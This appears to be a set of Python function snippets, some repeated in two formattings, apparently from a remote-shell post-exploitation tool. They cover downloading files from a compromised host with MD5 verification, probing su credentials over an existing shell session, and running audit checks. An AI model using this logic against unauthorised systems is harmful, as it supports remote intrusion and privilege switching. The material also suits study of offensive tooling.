def run(self): # Check remote file existance if not ModuleExec('file_check', [self.args.get('rpath'), 'readable']).run(): log.warn(messages.module_file_download.failed_download_file) return # Get the remote file MD5. If this is not available, still do a basic check # to see if the output is decodable as base64 string. expected_md5 = ModuleExec('file_check', [self.args.get('rpath'), 'md5']).run() if expected_md5: check_md5 = lambda r: hashlib.md5(base64.b64decode(r)).hexdigest( ) == expected_md5 else: log.debug(messages.module_file_download.skipping_md5_check) check_md5 = lambda r: bool(base64.b64decode(r)) # Find the first vector that satisfy the md5 check vector_name, result = self.vectors.find_first_result( format_args=self.args, condition=check_md5) # Check if find_first_result failed if not vector_name: log.warn(messages.module_file_download.failed_download_file) return # Dump to local file lpath = self.args.get('lpath') try: result_decoded = base64.b64decode(result) open(lpath, 'wb').write(result_decoded) except Exception, e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return
def setup(self): """Probe all vectors to find a working su command. The method run_until is not used due to the check of shell_sh enabling for every tested vector. Args: self.args: The dictionary of arguments Returns: Status value, must be Status.RUN, Status.FAIL, or Status.IDLE. """ args_check = { 'user' : self.args['user'], 'passwd' : self.args['passwd'], 'command' : 'whoami' } (vector_name, result) = self.vectors.find_first_result( names = [ self.args.get('vector', '') ], format_args = args_check, condition = lambda result: ( # Stop if shell_sh is in FAIL state self.session['shell_sh']['status'] == Status.FAIL or # Or if the result is correct self.session['shell_sh']['status'] == Status.RUN and result and result.rstrip() == self.args['user'] ) ) if self.session['shell_sh']['status'] == Status.RUN and result and result.rstrip() == self.args['user']: self.session['shell_su']['stored_args']['vector'] = vector_name return Status.RUN else: log.warn(messages.module_shell_su.error_su_executing) return Status.IDLE
def setup(self): """Probe all vectors to find a working su command. The method run_until is not used due to the check of shell_sh enabling for every tested vector. Args: self.args: The dictionary of arguments Returns: Status value, must be Status.RUN, Status.FAIL, or Status.IDLE. """ args_check = { 'user': self.args['user'], 'passwd': self.args['passwd'], 'command': 'whoami' } (vector_name, result) = self.vectors.find_first_result( names=[self.args.get('vector', '')], format_args=args_check, condition=lambda result: ( # Stop if shell_sh is in FAIL state self.session['shell_sh']['status'] == Status.FAIL or # Or if the result is correct self.session['shell_sh']['status'] == Status.RUN and result and result.rstrip() == self.args['user'])) if self.session['shell_sh'][ 'status'] == Status.RUN and result and result.rstrip( ) == self.args['user']: self.session['shell_su']['stored_args']['vector'] = vector_name return Status.RUN else: log.warn(messages.module_shell_su.error_su_executing) return Status.IDLE
def run(self): results = {} for func_name in [ # Execute every function starting with check_* fn for fn in self.check_functions # if the user does not specify any name if not self.args.get('check') # of if specify the current function name or self.args.get('check') == fn ]: function = getattr(self, func_name) log.warn(function.__doc__) result = function() if result: log.info('\n'.join(result)) results.update({ func_name : result }) return results
def run(self, args): results = {} for func_name in [ # Execute every function starting with check_* fn for fn in self.check_functions # if the user does not specify any name if not args.get('check') # of if specify the current function name or args.get('check') == fn ]: function = getattr(self, func_name) log.warn(function.__doc__) result = function() if result: log.info('\n'.join(result)) results.update({ func_name : result }) return results